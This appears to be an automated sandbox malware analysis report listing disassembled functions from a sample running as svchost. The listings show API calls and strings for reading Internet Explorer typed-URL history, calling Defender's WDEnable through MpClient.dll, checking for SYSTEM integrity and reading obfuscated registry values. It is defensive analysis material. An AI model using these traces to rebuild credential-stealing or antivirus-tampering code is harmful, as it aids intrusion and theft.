Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
String ID: .dll$kernel
API String ID: 2979424695-2375045364
Opcode ID: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
Instruction ID: 6b572b3e0c1d36d44cadbb52a12c0b3f1dd55c4915d11e4f0b3c307bdf2881c5
Opcode Fuzzy Hash: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
Instruction Fuzzy Hash: EC21B972A0111467D7109BA5AD49B9E77A8EF89720F100276EA04F32E0EB34DD4556A9

Function 02C747E0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 105fileregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,Software\Microsoft\Internet Explorer\TypedURLs,00000000,00020119,?,00000000), ref: 02C74803
_snprintf.MSVCRT ref: 02C7482B
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,?,762335B0), ref: 02C74862
WriteFile.KERNEL32(00000000,IE history:,0000000C,02C74FAE,00000000), ref: 02C7488C
WriteFile.KERNEL32(00000000,02CB3BE4,00000001,02C74FAE,00000000), ref: 02C7489E
WriteFile.KERNEL32(00000000,?,?,02C74FAE,00000000), ref: 02C748CA
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C74FAE,00000000), ref: 02C748DC
_snprintf.MSVCRT ref: 02C748F7
RegCloseKey.ADVAPI32(?), ref: 02C7490D

Strings

IE history:, xrefs: 02C7487C
Software\Microsoft\Internet Explorer\TypedURLs, xrefs: 02C747F6
url%i, xrefs: 02C74813, 02C748E3

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileWrite$_snprintf$CloseOpenQueryValue
String ID: IE history:$Software\Microsoft\Internet Explorer\TypedURLs$url%i
API String ID: 4020389783-427538202
Opcode ID: 2409a2a58dad3d092fe5c93e69396275017a5f2c59c8dff11b4eff0586436599
Instruction ID: 1b95446c8a17b725b57605333fab497b60f51914e9535f3550e19f0a27500698
Opcode Fuzzy Hash: 2409a2a58dad3d092fe5c93e69396275017a5f2c59c8dff11b4eff0586436599
Instruction Fuzzy Hash: FF313DB1D4025DBBEB25DF94DC89FEEB77CEF44704F00459AA605A3141E7B05B548BA0

Function 02C76570 Relevance: 19.6, APIs: 13, Instructions: 117memoryfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
memset.MSVCRT ref: 02C765F4
ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
CloseHandle.KERNEL32(00000000), ref: 02C7666E
IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FileProcess$Handle$AllocateCloseCreateFreeInformationReadSizeValidateWritememset
String ID:
API String ID: 995291462-0
Opcode ID: 3fe15c0747de02ce34ff8e5beb352f5bb594d70fcf48db425afb91261f065212
Instruction ID: a6d5ba3fe5b7dc7c35c181564afb746dc971d058794fad2efa10cf46b787aa8d
Opcode Fuzzy Hash: 3fe15c0747de02ce34ff8e5beb352f5bb594d70fcf48db425afb91261f065212
Instruction Fuzzy Hash: E3310372E40254BBDB218FA59C48FABBB7CEF80B14F108658FD14A7280D7308A148BA0

Function 02C76240 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109registrymemorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C76271
memset.MSVCRT ref: 02C7628F
RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
RegQueryValueExA.KERNEL32(?,80F50759a,00000000,00000001,?,00000104), ref: 02C762D2
GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
HeapAlloc.KERNEL32(00000000), ref: 02C76351
memset.MSVCRT ref: 02C76365
lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
RegCloseKey.ADVAPI32(?), ref: 02C7638C

Strings

software\microsoft, xrefs: 02C762A1
80F50759a, xrefs: 02C762CC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
String ID: 80F50759a$software\microsoft
API String ID: 217510255-3483679399
Opcode ID: 44ab6c0d8ec864cb4832094607e0000585e37440257ed7e1af13c71dc892abea
Instruction ID: 3471b68e4a835b0fa5063bde680b29b635e56a2b8e81eeee3e7ffb16df0b7b1c
Opcode Fuzzy Hash: 44ab6c0d8ec864cb4832094607e0000585e37440257ed7e1af13c71dc892abea
Instruction Fuzzy Hash: DD310871E4026D6AEB26DB649C09BDE7B6CEF04704F100599EA1DE7141E7B08B44CBE1

Function 02C760E0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102registrymemorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C76111
memset.MSVCRT ref: 02C7612F
RegOpenKeyExA.KERNEL32(00000001,software\microsoft,00000000,00000101,80000001,?,?,?,?,?,00000000), ref: 02C7614A
RegQueryValueExA.KERNEL32(80000001,80F50759a,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 02C76171
GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 02C761EA
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02C761F1
memset.MSVCRT ref: 02C76205
lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 02C7621E
RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 02C7622C

Strings

software\microsoft, xrefs: 02C76144
80F50759a, xrefs: 02C7616B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
String ID: 80F50759a$software\microsoft
API String ID: 217510255-3483679399
Opcode ID: fb9f789d853990c049af5dfef2ec7b45426995e795e6d08b56affd9dba607a23
Instruction ID: 01ab0bc2ad4d45cd08dc3ae6a38c052b133b4db611de5721e0a942fd5e20b490
Opcode Fuzzy Hash: fb9f789d853990c049af5dfef2ec7b45426995e795e6d08b56affd9dba607a23
Instruction Fuzzy Hash: 41312871E8025C6BDB26DB64DC49FDE7BACEF18704F104598E609E7141E3B08B448BA1

Function 02C92E00 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,00000000,7622F550,00000000,7736C3F0), ref: 02C92E15
OpenProcessToken.ADVAPI32(00000000,00000010,?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E2C
GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02C92E4A
CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E62
CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E88
GetHandleInformation.KERNEL32(?,00000000), ref: 02C92EBB
CloseHandle.KERNEL32(?), ref: 02C92ECC
GetHandleInformation.KERNEL32(00000000,?), ref: 02C92EDE
CloseHandle.KERNEL32(00000000), ref: 02C92EEF

Strings

ADVA, xrefs: 02C92E8E
*SYSTEM*, xrefs: 02C92E5D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Information$CharCloseOpenProcessTokenUpper
String ID: *SYSTEM*$ADVA
API String ID: 1998047302-3691563785
Opcode ID: 277415a8bfd86d7e02d0b9444cd21f2e95ce17a10e53a131167fe95a68d94b56
Instruction ID: 7f2bd8690ff1dfab9be954a6c89663d6062ef08d3c0c7ee721daf379dcadf0f9
Opcode Fuzzy Hash: 277415a8bfd86d7e02d0b9444cd21f2e95ce17a10e53a131167fe95a68d94b56
Instruction Fuzzy Hash: C531A171D40288BBEF11CBA1C88CFBE7B7CAF85306F048598ED8667181D7749615CB62

Function 00401FC0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401FFE
SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402014
PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040202A
SetCurrentDirectoryA.KERNEL32(?), ref: 00402037
LoadLibraryA.KERNEL32(MpClient.dll), ref: 00402046
GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040205B
FreeLibrary.KERNEL32(00000000), ref: 0040208C

Strings

Windows Defender, xrefs: 0040201E
WDEnable, xrefs: 00402055
MpClient.dll, xrefs: 00402041
V,@, xrefs: 00402092

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
String ID: MpClient.dll$V,@$WDEnable$Windows Defender
API String ID: 1010965793-4204822615
Opcode ID: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
Instruction ID: d5d199d1064221ab56ad58356cdb5c20067bd4798bc980eb12739ab0272296c4
Opcode Fuzzy Hash: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
Instruction Fuzzy Hash: E711A8B1900355ABC7219F649D49FABBB7CFB48751F10067AFB55B21D0D6784E008AA8

Function 00402560 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228commemoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040257F
GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004025AD
SysAllocString.OLEAUT32(?), ref: 004025C0
SysAllocString.OLEAUT32(Windows Explorer), ref: 004025D2
CoCreateInstance.OLE32(00404E10,00000000,00004401,00404E20,?), ref: 004025FB
CoCreateInstance.OLE32(00404E30,00000000,00004401,00404E40,?), ref: 004026AF
SysFreeString.OLEAUT32(00402C95), ref: 0040273D
SysFreeString.OLEAUT32(00000000), ref: 00402744
CoUninitialize.COMBASE ref: 0040279E

Strings

Windows Explorer, xrefs: 004025CD

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
String ID: Windows Explorer
API String ID: 1140695583-228612681
Opcode ID: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
Instruction ID: b0f249d7cb80b728101da8bc3454e37707d64e119a9c5dc6a768cd6d24ad7165
Opcode Fuzzy Hash: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
Instruction Fuzzy Hash: ED712D74A00606AFCB10DB99CD84DAFB7B9AF88704B2441A6E504FB3D4D7B5ED42CB94

Function 02C934A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C934D3
GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02C934E2
RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02C934E9
memset.MSVCRT ref: 02C93501
GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C93518
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02C9351E

Part of subcall function 02C82D50: GetProcessHeap.KERNEL32(00000008,02C93547,00000000,75B534D0,7736C3F0,?,02C93534,00000104,?,?,?,?,00000000), ref: 02C82D6E
Part of subcall function 02C82D50: HeapAlloc.KERNEL32(00000000,?,02C93534,00000104,?,?,?,?,00000000), ref: 02C82D75
Part of subcall function 02C82D50: memset.MSVCRT ref: 02C82D85

GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C9353F
StrChrIA.SHLWAPI(?,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C93566
lstrcpynA.KERNEL32(7736C3F0,00000001,00000104,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C9357A

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 02C934B0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$memset$NameProcessUser$AllocAllocateErrorLastlstrcpyn
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
API String ID: 2345603349-374730529
Opcode ID: dcbabfa9400dc68fbcb5f2ba2501b4ff664f283a69539205937ccd9fc760b11b
Instruction ID: 5d39b8423ee337d5eb484f8bc5143e6573950741a925296a020dcb575222c5bd
Opcode Fuzzy Hash: dcbabfa9400dc68fbcb5f2ba2501b4ff664f283a69539205937ccd9fc760b11b
Instruction Fuzzy Hash: CF217B72D0014AA7CF12A6549C48BFBB7BD9FC8B05F1005D9E94593140EB70EB058BA1

Function 02C81330 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C81347
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,7622F550,00000000), ref: 02C8135E
PathAddBackslashA.SHLWAPI(?,?,7622F550,00000000), ref: 02C8136B
PathFileExistsA.SHLWAPI(?,?,7622F550,00000000), ref: 02C813A7
lstrcpynA.KERNEL32(02CC7C28,00000000,00000104,00000000,00000001,?,7622F550,00000000), ref: 02C813D1
GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813E0
HeapValidate.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813E3
GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813F0
HeapFree.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813F3

Strings

80f50249a, xrefs: 02C81371

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Path$Process$BackslashExistsFileFolderFreeValidatelstrcpynmemset
String ID: 80f50249a
API String ID: 780088666-2796344140
Opcode ID: 47afdaadcf33957278c797cc9d22dbdd61c09cfa1bb999e8302c62257340366a
Instruction ID: 874ce55ae577560d7386450904837d24a7f509fa39a457052b45d97fe50e9868
Opcode Fuzzy Hash: 47afdaadcf33957278c797cc9d22dbdd61c09cfa1bb999e8302c62257340366a
Instruction Fuzzy Hash: C1110671F8425967EB2166259C09FDBBBECDF80B05F044694F98DEB1C0DEE099858BD0

Function 02C832F0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 125registrymemoryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C832FA
memset.MSVCRT ref: 02C83330
RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,00000000), ref: 02C83357
RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,00000000,00000104,?,?,00000000), ref: 02C8337A
GetProcessHeap.KERNEL32(00000008,00000015,?,?,00000000), ref: 02C833ED
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C833F4
memset.MSVCRT ref: 02C83404
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 02C83432

Strings

software\microsoft, xrefs: 02C8334D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heapmemset$AdminAllocCloseOpenProcessQueryUserValue
String ID: software\microsoft
API String ID: 1484339481-3673152959
Opcode ID: ffc6f798f5a69eaf18ca008539c899796092b0a2bde6652e46702e492edf175d
Instruction ID: 23968d54473004be1a826ad79e5164d9663e5341a45f5565242fb56e15f19d55
Opcode Fuzzy Hash: ffc6f798f5a69eaf18ca008539c899796092b0a2bde6652e46702e492edf175d
Instruction Fuzzy Hash: A141C832E001999BDB26DA649D09FDABBB89FC1F08F0491D5ED44A7100DB70DB058BA1

Function 02C73830 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

SymGetModuleBase.DBGHELP(00000000,?,?,?), ref: 02C73889
SymGetModuleInfo.DBGHELP(00000000,00000000,0000023C), ref: 02C7389C
SymGetSymFromAddr.DBGHELP(00000000,?,?,00000018), ref: 02C738B3
_snprintf.MSVCRT ref: 02C738DD
_snprintf.MSVCRT ref: 02C73901

Strings

unknown!0x%08x, xrefs: 02C73916
%s!0x%08x, xrefs: 02C738F6
%s!%s + 0x%04x, xrefs: 02C738D2

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Module_snprintf$AddrBaseFromInfo
String ID: %s!%s + 0x%04x$%s!0x%08x$unknown!0x%08x
API String ID: 844136142-2194319270
Opcode ID: debc5e9f8d230d550c85161a7568315a262fbd6eb95dd6f97c25237b9e36c290
Instruction ID: ee176164c65198b71dffdc2ec012dc55a2265955e45dc6228db0b5408bef8a28
Opcode Fuzzy Hash: debc5e9f8d230d550c85161a7568315a262fbd6eb95dd6f97c25237b9e36c290
Instruction Fuzzy Hash: 0F212372A00198ABE7229E48DC84FFA73ACEF84700F0481D9F809A7140E7719B58DBA1

Function 02C822C0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C822C8
RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,02C859A4), ref: 02C822FF
RegQueryValueExA.ADVAPI32(?,80F50315a,00000000,02C859A4,00000000,?,?,02C859A4), ref: 02C8231C
RegCloseKey.ADVAPI32(?,?,02C859A4), ref: 02C82326
RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?,?,02C859A4), ref: 02C82359
RegQueryValueExA.KERNEL32(?,80F50315a,00000000,?,00000000,02C859A4,?,02C859A4), ref: 02C82376
RegCloseKey.ADVAPI32(?,?,02C859A4), ref: 02C82380

Strings

software\microsoft, xrefs: 02C822E8, 02C82342
80F50315a, xrefs: 02C82316, 02C82370

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue$AdminUser
String ID: 80F50315a$software\microsoft
API String ID: 2113243795-2756871673
Opcode ID: 922c61293b1bee8923d5a58eb8ce59a7f9aa4d8ab9767407fe72cab3fee6937f
Instruction ID: 017e78e4adb00e4484c9c3d064383ffddcd4098467c60a2a5b0605639de4f87d
Opcode Fuzzy Hash: 922c61293b1bee8923d5a58eb8ce59a7f9aa4d8ab9767407fe72cab3fee6937f
Instruction Fuzzy Hash: FD214175E40249FBEB01DBA4DC89FEEBBBCEF44704F104A99E905E7140E7B4A6049B54

Function 02C88B10 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C88B18
RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,02C88CD7), ref: 02C88B4F
RegQueryValueExA.ADVAPI32(02C88CD7,80f5035da,00000000,?,00000000,?), ref: 02C88B6C
RegCloseKey.ADVAPI32(02C88CD7), ref: 02C88B76
RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C88BA9
RegQueryValueExA.KERNEL32(?,80f5035da,00000000,?,00000000,?), ref: 02C88BC6
RegCloseKey.ADVAPI32(?), ref: 02C88BD0

Strings

software\microsoft, xrefs: 02C88B38, 02C88B92
80f5035da, xrefs: 02C88B66, 02C88BC0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue$AdminUser
String ID: 80f5035da$software\microsoft
API String ID: 2113243795-1475967691
Opcode ID: 4493a33fad6a26744ab4a4528b16f271d32d37bc836a139fb56fbdcd00241282
Instruction ID: b7628371782cf1d20c53189bd053dcf2845de122ac2e73c2e3bb5e58df35ebe3
Opcode Fuzzy Hash: 4493a33fad6a26744ab4a4528b16f271d32d37bc836a139fb56fbdcd00241282
Instruction Fuzzy Hash: 28211DB5E4020DBBEB01DBA4DD85FEEBBB8EF88704F104699E501E7140E7B4A6058B94

Function 02C73430 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C73438
RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?), ref: 02C7346F
RegQueryValueExA.ADVAPI32(?,80f502cfa,00000000,?,00000000,?), ref: 02C7348C
RegCloseKey.ADVAPI32(?), ref: 02C73496
RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C734C9
RegQueryValueExA.KERNEL32(?,80f502cfa,00000000,?,00000000,?), ref: 02C734E6
RegCloseKey.ADVAPI32(?), ref: 02C734F0

Strings

software\microsoft, xrefs: 02C73458, 02C734B2
80f502cfa, xrefs: 02C73486, 02C734E0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue$AdminUser
String ID: 80f502cfa$software\microsoft
API String ID: 2113243795-956736100
Opcode ID: 59d1c569bf5b2a2a0fe74698599c5955ffa94a4e28bbbf7d3ca57d0a61403491
Instruction ID: 110012369a30d37c7ac43815baab101445165a89ae5d46bcb92c0ad8cd912cb6
Opcode Fuzzy Hash: 59d1c569bf5b2a2a0fe74698599c5955ffa94a4e28bbbf7d3ca57d0a61403491
Instruction Fuzzy Hash: C8214F75E40249FBEB15CBA4DC85FEEBBB8EF48700F104699E601E7140E7B4A6059B94

Function 02C831A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C831D4
RegOpenKeyExA.KERNEL32(00000104,software\microsoft,00000000,00000101,80000002,?,76230F10,00000000), ref: 02C831F7
RegQueryValueExA.KERNEL32(80000002,?,00000000,00000001,00000000,00000104,?,76230F10,00000000), ref: 02C8321A
GetProcessHeap.KERNEL32(00000008,00000015,?,76230F10,00000000), ref: 02C8328D
HeapAlloc.KERNEL32(00000000,?,76230F10,00000000), ref: 02C83294
memset.MSVCRT ref: 02C832A4
RegCloseKey.ADVAPI32(80000002,?,76230F10,00000000), ref: 02C832D2

Strings

software\microsoft, xrefs: 02C831F1

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heapmemset$AllocCloseOpenProcessQueryValue
String ID: software\microsoft
API String ID: 4043890984-3673152959
Opcode ID: 938e5983cb5dc41a3770d10e2b755d0cd0f9b5e85c28e557abdbd5e662052f64
Instruction ID: da9891e3be98d4c1a52e2c2ed95cd7b6662a5d391b76b87e312ac4960b0d8925
Opcode Fuzzy Hash: 938e5983cb5dc41a3770d10e2b755d0cd0f9b5e85c28e557abdbd5e662052f64
Instruction Fuzzy Hash: 7F31C832E042DDABCB22DB649C08BDB7BB8AFC5B08F0586D4ED5497101D770DB498B91

Function 02C89230 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72memorysynchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8), ref: 02C8924B
